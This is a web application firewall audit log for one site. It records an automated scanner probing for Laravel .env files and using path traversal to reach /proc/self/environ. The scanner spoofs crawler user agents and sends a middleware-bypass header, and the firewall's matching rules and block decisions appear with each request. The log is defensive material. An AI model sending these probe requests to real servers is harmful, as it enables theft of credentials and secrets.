Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq4AAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472459031 299332 (- - -)
Stopwatch2: 1789280472459031 299332; combined=3690, p1=214, p2=3419, p3=0, p4=0, p5=57, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b9a34228-Z--

--84ca7a64-A--
[13/Sep/2026:09:21:12.806179 +0300] aqZA2GM7dE9KgIIOpQhq4wAAAME 34.181.172.83 42352 127.0.0.1 7081
--84ca7a64-B--
GET /public../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--84ca7a64-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--84ca7a64-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/public../.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq4wAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472593278 212982 (- - -)
Stopwatch2: 1789280472593278 212982; combined=4989, p1=258, p2=4674, p3=0, p4=0, p5=56, sr=106, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--84ca7a64-Z--

--bfe00307-A--
[13/Sep/2026:09:21:12.814830 +0300] aqZA2GM7dE9KgIIOpQhq4gAAAMQ 34.181.172.83 42348 127.0.0.1 7081
--bfe00307-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--bfe00307-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bfe00307-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA2GM7dE9KgIIOpQhq4gAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA2GM7dE9KgIIOpQhq4gAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472530512 284388 (- - -)
Stopwatch2: 1789280472530512 284388; combined=46127, p1=278, p2=45787, p3=0, p4=0, p5=61, sr=139, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bfe00307-Z--

--5c2f5674-A--
[13/Sep/2026:09:21:12.889802 +0300] aqZA2GM7dE9KgIIOpQhq5AAAAM0 34.181.172.83 42358 127.0.0.1 7081
--5c2f5674-B--
GET /dist../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5c2f5674-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5c2f5674-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/dist../.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq5AAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472788210 101656 (- - -)
Stopwatch2: 1789280472788210 101656; combined=4857, p1=265, p2=4520, p3=0, p4=0, p5=71, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5c2f5674-Z--

--e33fbf4f-A--
[13/Sep/2026:09:21:13.157869 +0300] aqZA2GM7dE9KgIIOpQhq5QAAAMM 34.181.172.83 42366 127.0.0.1 7081
--e33fbf4f-B--
GET /build../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e33fbf4f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e33fbf4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/build../.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq5QAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472877074 280864 (- - -)
Stopwatch2: 1789280472877074 280864; combined=5056, p1=342, p2=4663, p3=0, p4=0, p5=50, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e33fbf4f-Z--

--d8eb9674-A--
[13/Sep/2026:09:21:13.508062 +0300] aqZA2Ewu1RSkptiiNIXz5QAAAI8 34.181.172.83 42372 127.0.0.1 7081
--d8eb9674-B--
GET /js../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d8eb9674-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d8eb9674-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/js../.env"] [unique_id "aqZA2Ewu1RSkptiiNIXz5QAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472891376 616750 (- - -)
Stopwatch2: 1789280472891376 616750; combined=5650, p1=323, p2=5271, p3=0, p4=0, p5=55, sr=110, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8eb9674-Z--

--f6e59a1d-A--
[13/Sep/2026:09:21:14.074089 +0300] aqZA2TTJ6xTvcJoem7f4RwAAAEs 34.181.172.83 42604 127.0.0.1 7081
--f6e59a1d-B--
GET /css../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f6e59a1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f6e59a1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/css../.env"] [unique_id "aqZA2TTJ6xTvcJoem7f4RwAAAEs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280473977828 96352 (- - -)
Stopwatch2: 1789280473977828 96352; combined=4949, p1=268, p2=4620, p3=0, p4=0, p5=61, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f6e59a1d-Z--

--08bb6f17-A--
[13/Sep/2026:09:21:14.704997 +0300] aqZA2mM7dE9KgIIOpQhq8QAAAME 34.181.172.83 42638 127.0.0.1 7081
--08bb6f17-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--08bb6f17-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--08bb6f17-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "3000demotive.ro"] [uri "/userfiles"] [unique_id "aqZA2mM7dE9KgIIOpQhq8QAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474357283 347772 (- - -)
Stopwatch2: 1789280474357283 347772; combined=5212, p1=234, p2=4922, p3=0, p4=0, p5=56, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--08bb6f17-Z--

--52701306-A--
[13/Sep/2026:09:21:14.724509 +0300] aqZA2mM7dE9KgIIOpQhq7gAAAMU 34.181.172.83 42624 127.0.0.1 7081
--52701306-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--52701306-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--52701306-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "3000demotive.ro"] [uri "/userfiles"] [unique_id "aqZA2mM7dE9KgIIOpQhq7gAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474230185 494379 (- - -)
Stopwatch2: 1789280474230185 494379; combined=4848, p1=257, p2=4485, p3=0, p4=0, p5=106, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--52701306-Z--

--65fa7328-A--
[13/Sep/2026:09:21:14.766083 +0300] aqZA2mM7dE9KgIIOpQhq8wAAAMc 34.181.172.83 42642 127.0.0.1 7081
--65fa7328-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--65fa7328-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--65fa7328-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "3000demotive.ro"] [uri "/userfiles"] [unique_id "aqZA2mM7dE9KgIIOpQhq8wAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474523457 242701 (- - -)
Stopwatch2: 1789280474523457 242701; combined=6613, p1=333, p2=6215, p3=0, p4=0, p5=65, sr=134, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--65fa7328-Z--

--215ff509-A--
[13/Sep/2026:09:21:14.876416 +0300] aqZA2mM7dE9KgIIOpQhq9QAAANg 34.181.172.83 42682 127.0.0.1 7081
--215ff509-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--215ff509-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--215ff509-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:09-21.34.181.172.83"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789280474843897 32573 (- - -)
Stopwatch2: 1789280474843897 32573; combined=31407, p1=231, p2=28690, p3=0, p4=0, p5=2486, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--215ff509-Z--

--e7ff6312-A--
[13/Sep/2026:09:21:14.896578 +0300] aqZA2jTJ6xTvcJoem7f4SAAAAEg 34.181.172.83 42686 127.0.0.1 7081
--e7ff6312-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e7ff6312-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e7ff6312-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
